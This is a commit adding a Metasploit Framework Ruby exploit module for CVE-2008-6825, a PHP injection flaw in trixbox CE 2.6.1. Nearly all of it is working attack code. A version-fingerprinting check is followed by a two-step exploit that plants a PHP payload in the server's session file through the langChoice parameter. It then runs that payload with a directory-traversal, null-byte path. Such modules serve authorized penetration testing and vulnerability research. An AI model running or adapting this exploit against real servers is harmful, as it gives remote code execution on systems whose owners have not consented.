add cve-2008-6825 exploit from Larry Wert, fixes #3145

git-svn-id: file:///home/svn/framework3/trunk@11245 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/unix/webapp/trixbox_langchoice.rb

@@ -0,0 +1,190 @@
+##
+# $Id: $
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+# -*- coding: utf-8 -*-
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ManualRanking
+
+	PHPSESSID_REGEX = /(?:^|;?)PHPSESSID=(\w+)(?:;|$)/
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'        => 'Trixbox langChoice PHP injection',
+			'Description' => %q{
+					This module injects php into the trixbox session file and then, in a second call, evaluates
+				that code by manipulating the langChoice parameter as described in OSVDB-50421.
+			},
+			'Author'      => ['chao-mu'],
+			'License'     => BSD_LICENSE,
+			'References'  =>
+				[
+					['OSVDB'   => '50421'],
+					['CVE'     => '2008-6825'],
+					['BID'     => '30135'],
+					['URL'     => 'http://www.exploit-db.com/exploits/6026/'],
+					['URL'     => 'http://www.trixbox.org/']
+				],
+			'Payload'     =>
+				{
+					# max header length for Apache (8190),
+					# http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
+					# minus 23 for good luck (and extra spacing)
+					'Space'       => 8190 - 23,
+					'DisableNops' => true,
+					'Compat'      =>
+						{
+							'ConnectionType' => 'find',
+						},
+					'BadChars'    => "'\"`"  # quotes are escaped by PHP's magic_quotes_gpc in a default install
+				},
+			'Targets'        => [['trixbox CE 2.6.1', {}]],
+			'DefaultTarget'  => 0,
+			'Platform'       => 'php',
+			'Arch'           => ARCH_PHP,
+		))
+
+		register_options(
+			[
+				OptString.new('URI',  [true, 'The uri that accepts the langChoice param', '/user/index.php']),
+				OptString.new('PATH', [true, 'The path where the php was stored', '../../../../../../../../../../tmp/sess_!SESSIONID!%00']),
+			], self.class)
+	end
+
+	def check
+		# We need to ensure that this can be reached via POST
+		uri = datastore['URI']
+		target_code = 200
+
+		print_status "Attempting to POST to #{uri}"
+		response = send_request_cgi({'uri' => uri, 'method' => 'POST'})
+
+		unless defined? response
+			print_error 'Server did not respond to HTTP POST request'
+			return Exploit::CheckCode::Safe
+		end
+
+		code = response.code
+
+		unless code == target_code
+			print_error "Expected HTTP code #{target_code}, but got #{code}."
+			return Exploit::CheckCode::Safe
+		end
+
+		print_status "We received the expected HTTP code #{target_code}"
+
+		# We will need the cookie PHPSESSID to continue
+		cookies = response.headers['Set-Cookie']
+
+		# Make sure cookies were set
+		if defined? cookies and cookies =~ PHPSESSID_REGEX
+			print_status "We were successfully sent a PHPSESSID of '#{$1}'"
+		else
+			print_error 'The server did not send us the cookie we were looking for'
+			return Exploit::CheckCode::Safe
+		end
+
+		# Okay, at this point we're just being silly and hackish.
+		unless response.body =~ /langChoice/
+			print_error 'The page does not appear to contain a langChoice field'
+			return Exploit::CheckCode::Safe
+		end
+
+		# XXX: Looking for a good way of determine if it is NOT trixbox
+		# unless response.body.match(/trixbox - User Mode/)
+		# 	print_status 'The target does not appear to be running trixbox'
+		# 	return Exploit::CheckCode::Safe
+		# end
+		# print_status 'The target appears to be running trixbox'
+
+		# If it has the target footer, we know its vulnerable
+		# however skining may mean the reverse is not true
+		# We've only tested on v2.6.1, so that is all we will guarantee
+		# Example footer: v2.6.1 ©2008 Fonality
+#		if response.body =~ /(v2\.(?:[0-5]\.\d|6\.[0-1]))\s{2}&copy;200[0-8] Fonality/
+		if response.body =~ /(v2\.6\.1)\s{2}&copy;2008 Fonality/
+			print_status "Trixbox #{$1} detected!"
+			return Exploit::CheckCode::Vulnerable
+		end
+
+		print_status 'The target may be skinned making detection too difficult'
+
+		if response.body =~ /trixbox - User Mode/
+			return Exploit::CheckCode::Detected
+		else
+			return Exploit::CheckCode::Unknown
+		end
+	end
+
+	def exploit
+		# We will be be passing this our langChoice values
+		uri = datastore['URI']
+
+		# Prepare PHP file contents
+		encoded_php_file = Rex::Text.uri_encode("<?php #{payload.encoded} ?>")
+
+		# Deliver the payload
+		print_status('Uploading the payload to the remote server')
+		delivery_response = send_request_cgi({
+				'uri'    => uri,
+				'method' => 'POST',
+				'data'   => "langChoice=#{encoded_php_file}%00"
+			})
+
+		# The call should return status code 200
+		if delivery_response.code != 200
+			raise RuntimeError, "Server returned unexpected HTTP code #{delivery_response.code}"
+		end
+
+		print_status "The server responded to POST with HTTP code #{delivery_response.code}"
+
+		# We will need the cookie PHPSESSID to continue
+		cookies = delivery_response.headers['Set-Cookie']
+
+		# Make sure cookies were set
+		if cookies.nil?
+			raise RuntimeError, 'The server did not set any cookies'
+		end
+
+		# Contents of PHPSESSID. About to be set.
+		session_id = nil
+
+		# Retrieve the session id from PHPSESSID
+		if cookies =~ PHPSESSID_REGEX
+			session_id = $1
+		else
+			raise RuntimeError, 'The cookie PHPSESSID was not set.'
+		end
+
+		print_status "We were assigned a session id (cookie PHPSESSID) of '#{session_id}'"
+
+		# Prepare the value that will execute our payload
+		detonation = datastore['PATH'].sub('!SESSIONID!', session_id)
+
+		print_status "We will use '#{detonation}' as the value of langChoice to detonate the payload"
+
+		# Request the detonation uri, detonating the payload
+		print_status 'Attempting to detonate. You will need to clean /tmp/ yourself.'
+
+		# Small timeout as we're just going to assume we succeeded.
+		send_request_cgi({
+				'uri' => uri,
+				'cookie' => cookies,
+				'method' => 'POST',
+				'data' => "langChoice=#{detonation}%00"
+			}, 0.01)
+
+		handler
+	end
+end